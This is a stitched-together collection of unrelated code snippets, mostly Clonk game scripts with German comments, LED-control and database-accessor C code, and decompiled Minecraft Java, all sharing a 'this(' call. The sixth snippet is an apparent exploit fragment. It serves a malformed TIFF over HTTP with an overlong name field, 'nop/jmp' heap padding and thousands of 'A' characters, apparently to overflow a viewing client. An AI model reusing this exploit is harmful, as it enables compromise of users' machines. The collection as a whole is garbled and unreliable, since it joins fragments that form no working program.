protected func Initialize() { SetVisibility(VIS_All()); SetPlrView(GetOwner(), this()); SetAction("Fly"); Sound("Morse", 0,this(),100,0, 1); }
public func Initialize() { // Erst alle Komponenten löschen var i, id; while(id = GetComponent(0, i++, 0, GetID()) ) SetComponent(id, 0, this() ); SetComponent(ILOA, 3, this() ); }
func Holde() { Effect(); if(! target) { return(1); } target -> SetPosition(GetX(this())-78,GetY(this())-71); SetCategory(130); return(1); }
void setColor(Color c) { if(c < NUM_COLORS) { (this()->currentColor) = c; setLED(Colors[c][0], Colors[c][1], Colors[c][2], (this()->currentIntensity) ); } }
void initLED() { (this()->currentLED) .r = 0; (this()->currentLED) .g = 0; (this()->currentLED) .b = 0; (this()->currentLED) .i = 0; pthread_mutex_init(& (this()->LEDmutex) , NULL); }
main (int argc) { int z0, x = TARGET; int z1, y = x; int p; char *q; if (argc > 1) printf ("HTTP/1.0 200\nContent-Type: image/x-tiff\n\n"); printf ("FirstName: %s\n", this (0)); printf ("LastName: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"); printf ("%s\n", &x); // Begin Padding Heap With 'Garbage' (nop/jmp) printf ("%s", this (0)); printf ("%s", this (0)); printf ("%s", this (0)); printf ("%s", this (0)); printf ("%s", this (0)); printf ("%s", this (0)); // End Padding Heap With 'Garbage' (nop/jmp) printf ("%s", this (1)); printf ("http://www.mp3.com/cosv"); printf ("\nPicData: 32 32 8\n"); printf ("\n"); for (p = 0; p < 9994; p += 1) printf ("A"); }
EntityPainting(World EntityPainting::world, int i, int j, int k, int l, String s) { this(world); xPosition = i; yPosition = j; zPosition = k; EnumArt aenumart[] = EnumArt.values(); int i1 = aenumart.length; int j1 = 0; do { if(j1 >= i1) { break; } EnumArt enumart = aenumart[j1]; if(enumart.title.equals(s)) { art = enumart; break; } j1++; } while(true); func_412_b(l); }
//---------------------------------------------------- static void toString_EscuelaImpl(void *self) { obj_Escuela *self_o=this(self); obj_Escuela *sup; obj_Localidad *loc = self_o->getLocalidadObj(self_o); printf("Escuela_id: %d Escuela:%s - direccion: %s - Localidad: %s\n",self_o->info.Escuela_id,self_o->info.nombre_Escuela,self_o->info.dir_Escuela,loc->getNombreLocalidad(loc)); }
public func GetVertexToConnect() { // Bäume: An der Krone anknoten, außer Büsche if(this()->~IsTree() && GetID() != BUSH) return 2; // Luftschiffe und Balone: in der Mitte anknoten if(GetID() == BLMP || GetID() == BALN) return -1; }
EntityPainting(World EntityPainting::world, int i, int j, int k, int l) { this(world); xPosition = i; yPosition = j; zPosition = k; ArrayList arraylist = new ArrayList(); EnumArt aenumart[] = EnumArt.values(); int i1 = aenumart.length; for(int j1 = 0; j1 < i1; j1++) { EnumArt enumart = aenumart[j1]; art = enumart; func_412_b(l); if(func_410_i()) { arraylist.add(enumart); } } if(arraylist.size() > 0) { art = (EnumArt)arraylist.get(rand.nextInt(arraylist.size())); } func_412_b(l); }
protected func Construction() { var pEnv; if (pEnv=FindObject(CLFS)) pEnv->CLFS::Colorize(this()); else SetColorDw(RGB(255,255,255)); }
func SetBeamer(object pBeam,int iOwner,object pBefo) { SetPlrViewRange(200); pBeamer = pBeam; pBef = pBefo; SetOwner(iOwner); SetCursor(iOwner,this()); SetVisibility(VIS_None | VIS_Owner); }
func Activate(pCaller, pRealCaster) { // Zauber Sound("Magic*"); var iX, iY; iX=AbsX(GetX(pCaller)-15+30*GetDir(pCaller)); iY=AbsY(GetY(pCaller)); // Zielen wenn möglich if (!pRealCaster) pRealCaster = pCaller; if (pRealCaster->~DoSpellAim(this(), pCaller)) return(1); // Zielen wenn möglich if (pCaller->~DoSpellAim(this())) return(1); // Clonk kann nicht zielen: ActivateAngle(pCaller, GetDir(pCaller)*180-90); return(1); RemoveObject(); return(1); }
func Disappear() { Message("%v",this(),GetName(name)); time --; if (time == 0) { RemoveObject(); return(); }
//---------------------------------------------------- static bool saveObj_EscuelaImpl(void *self) { obj_Escuela *obj = this(self); int newIdEscuela; bool isNew_Obj = obj->getIsNewObj(self); bool retValue = saveObjImpl(self,&newIdEscuela); if(isNew_Obj) obj->info.Escuela_id = newIdEscuela; return retValue; }
//---------------------------------------------------- static bool saveObj_ActaTelegramaImpl(void *self) { obj_ActaTelegrama *obj = this(self); int newIdActaTelegrama; bool isNew_Obj = obj->getIsNewObj(self); bool retValue = saveObjImpl(self,&newIdActaTelegrama); if(isNew_Obj) obj->info.ActaTelegrama_id = newIdActaTelegrama; return retValue; }
//---------------------------------------------------- static void getValueByPosImpl(void *self,char * cad, int pos) { char field[MAX_WHERE_SQL]; obj_Mesa *obj = this(self); t_table *tt=obj->ds; if(pos==0) snprintf( field, MAX_WHERE_SQL,"%d", obj->info.Mesa_id ); /* if(pos==1) snprintf( field, MAX_WHERE_SQL,"'%s'", obj->info.nombre_Mesa );*/ strcat(cad,field); }
global func DoDmg(int iDmg, int iType, object pTarget, int iPrecision, int dmgplayer) { if(!pTarget) if(!(pTarget = this())) return(0); if(!iPrecision) iPrecision = 10; var dmg; var dmgdealer = dmgplayer-1; if(dmgdealer < 0) dmgdealer = GetController(pTarget); var red = pTarget->~OnDmg(iDmg, iType); //reduction // reduction dmg = iDmg*(100-red)*iPrecision; // Killer setzen if(this() && pTarget->GetOCF() & OCF_CrewMember || dmgplayer) { SetKiller(dmgdealer, pTarget); } //Schaden machen var pFrom; //if(pTarget != this()) pFrom = this; pTarget->~LastDamageType(iType); pTarget->~OnHit(dmg/1000, iType, pFrom,dmg); // testweise: Schadensdings //var rgb = RGB(255,0,0); //if(dmg/1000 != 0){ // if(dmg < 0) rgb = RGB(0,255,0); // CreateObject(CMBT,AbsX(GetX(pTarget)),AbsY(GetY(pTarget)),-1) -> Set(0, Format("%d",dmg/1000), rgb); //} if(GetCategory(pTarget) & C4D_Living) return(DoEnergy(-dmg,pTarget, true)); return(DoDamage(dmg/1000,pTarget)); }
// Einen Script zeitverzögert und ggf. wiederholt ausführen global func Schedule(string strScript, int iInterval, int iRepeat, object pObj) { // Default if(!iRepeat) iRepeat = 1; if(!pObj) pObj = this(); // Effekt erzeugen var iEffect = AddEffect("IntSchedule", pObj, 1, iInterval, pObj); if(iEffect <= 0) return(false); // Variablen setzen EffectVar(0, pObj, iEffect) = strScript; EffectVar(1, pObj, iEffect) = iRepeat; return(true); }
Matrix<T>& operator /= ( const T& c ) { #ifdef USE_EIGEN this->v /= c; #else #pragma omp parallel for schedule(auto) for( int i = 0; i < this->m; ++i ) for( int j = 0; j < this->n; ++j ) *this(i,j) /= c; #endif cnt_flop += this->m*this->n; return *this; }
private func Activity() { var pBait; // Ein Köder in der Nähe? if (pBait=FindObject(0,-1000,-1250,2000,1500, OCF_InLiquid(), "Bait" ) ) // Schwarze Fische sind nicht wählerisch SetCommand(this(),"Follow",pBait); // Schwimmverhalten if (!GBackLiquid (0, -8)) return (SetComDir (COMD_Down ())); if (Random(2)) return(1); if (SEqual(GetAction(),"Walk")) WalkDir(); if (Not( SEqual(GetAction(),"Swim") )) return(1); if (Random(2)) return(TurnRight(),SetComDir(COMD_Right())); return(TurnLeft(),SetComDir(COMD_Left())); }
//---------------------------------------------------- static void getValueByPosImpl(void *self,char * cad, int pos) { char field[MAX_WHERE_SQL]; obj_ActaTelegrama *obj = this(self); t_table *tt=obj->ds; if(pos==0) snprintf( field, MAX_WHERE_SQL,"%d", obj->info.ActaTelegrama_id ); if(pos==1) snprintf( field, MAX_WHERE_SQL,"%d", obj->info.Mesa_id ); if(pos==2) snprintf( field, MAX_WHERE_SQL,"'%s'", obj->info.fecha ); if(pos==3) snprintf( field, MAX_WHERE_SQL,"%d", obj->info.cargado ); strcat(cad,field); }
void setLED(uint8_t r, uint8_t g, uint8_t b, Intensity i) { pthread_mutex_lock(& (this()->LEDmutex) ); (this()->currentLED) .r = r; (this()->currentLED) .g = g; (this()->currentLED) .b = b; (this()->currentLED) .i = i; pthread_mutex_unlock(& (this()->LEDmutex) ); }
Color setNextColor() { (this()->currentColor) ++; if( (this()->currentColor) >= NUM_COLORS) (this()->currentColor) = 0; setLED(Colors[ (this()->currentColor) ][0], Colors[ (this()->currentColor) ][1], Colors[ (this()->currentColor) ][2], (this()->currentIntensity) ); return (this()->currentColor) ; }
// Eine Funktion zeitverzögert und ggf. wiederholt aufrufen global func ScheduleCall(object pObj, string strFunction, int iInterval, int iRepeat, par0, par1, par2, par3, par4) { // Default if(!iRepeat) iRepeat = 1; if(!pObj) pObj = this(); // Effekt erzeugen var iEffect = AddEffect("IntScheduleCall", pObj, 1, iInterval, pObj); if(iEffect <= 0) return(false); // Variablen setzen EffectVar(0, pObj, iEffect) = strFunction; EffectVar(1, pObj, iEffect) = iRepeat; // EffectVar(2): Nur zur Abwärtskompatibilität reserviert EffectVar(2, pObj, iEffect) = pObj; for(var i = 0; i < 5; i++) EffectVar(i + 3, pObj, iEffect) = Par(i + 4); return(true); }
//---------------------------------------------------- static void getValueByPosImpl(void *self,char * cad, int pos) { char field[MAX_WHERE_SQL]; obj_Escuela *obj = this(self); t_table *tt=obj->ds; if(pos==0) snprintf( field, MAX_WHERE_SQL,"%d", obj->info.Escuela_id ); if(pos==1) snprintf( field, MAX_WHERE_SQL,"%d", obj->info.Circuito_id ); if(pos==2) snprintf( field, MAX_WHERE_SQL,"'%s'", obj->info.nombre_Escuela ); if(pos==3) snprintf( field, MAX_WHERE_SQL,"'%s'", obj->info.dir_Escuela ); if(pos==4) snprintf( field, MAX_WHERE_SQL,"'%s'", obj->info.Localidad_id ); strcat(cad,field); }
protected func Activate(iPlr) { var pClonk = GetCursor(iPlr); var iPlayer; CreateMenu(_PLO, pClonk, this(), 0, "Teams", 0, 1); for(var iTeam = 1; GameCall("GetTeamName", iTeam); iTeam++) { if(!GetTeamCount(iTeam)) continue; AddMenuItem(GameCall("GetTeamName", iTeam), "", _PLO, pClonk); var iPlayer; for(var i = 0; i < GetTeamCount(iTeam); i++) { iPlayer = GetPlrByTeam(iTeam, i); AddMenuItem(Format(" <c %x>%s</c>", GetPlrColorDw(iPlayer), GetPlayerName(iPlayer)), "", GetID(), pClonk, 0, 0, 0, 2, 1); } } }
func Activate(pCaster,pRealcaster) { var pClonk, pComboObj, fBlast; if(pRealcaster) pClonk=pRealcaster; else pClonk=pCaster; var iResult; if (iResult = CheckEffect("LightningNSpell", 0, 125)) return(iResult!=-1 && RemoveObject()); // Zielen wenn möglich if (pClonk->~DoSpellAim(this())) return(1); var obj = CreateObject(MCLX, 0, 0, GetOwner(pClonk)); obj->Launch(pClonk, GetDir(pClonk), GetX(pClonk), GetY(pClonk), 0); Sound("Thunder*"); RemoveObject(); return(1); }
func Timer() { if(pBeamer && GetCursor(GetOwner()) != this()) return RemoveObject(); Frame++; if(Frame > 10) { Frame = 0; if(GetAction() eq "1") { SetAction("2"); } else { SetAction("1"); } } /*if(GetR() < 360) { SetR(GetR() + 1); } else { SetR(0); }*/ if(ObjectDistance(pBeamer) > LandscapeWidth() / 2 && !FindObject(ENRG)) { if(GetX() > GetX(pBeamer)) { SetXDir(-30); } else { SetXDir(30); } if(GetY() > GetY(pBeamer)) { SetYDir(-30); } else { SetYDir(30); } } SetRDir(3); }
func Activate(pCaster,pRealcaster) { var pClonk; if(pRealcaster) pClonk=pRealcaster; else pClonk=pCaster; var iResult; if (iResult = CheckEffect("Blast", 0, 125)) return(iResult!=-1 && RemoveObject()); // Zielen wenn möglich if (pClonk->~DoSpellAim(this())) return(1); // Blitz erzeugen var obj = CreateObject(_LVS, 0, 0, GetOwner(pClonk)); obj->Launch(pClonk, GetDir(pClonk), GetX(pClonk), GetY(pClonk), 0); Sound("Inflame"); RemoveObject(); return(1); }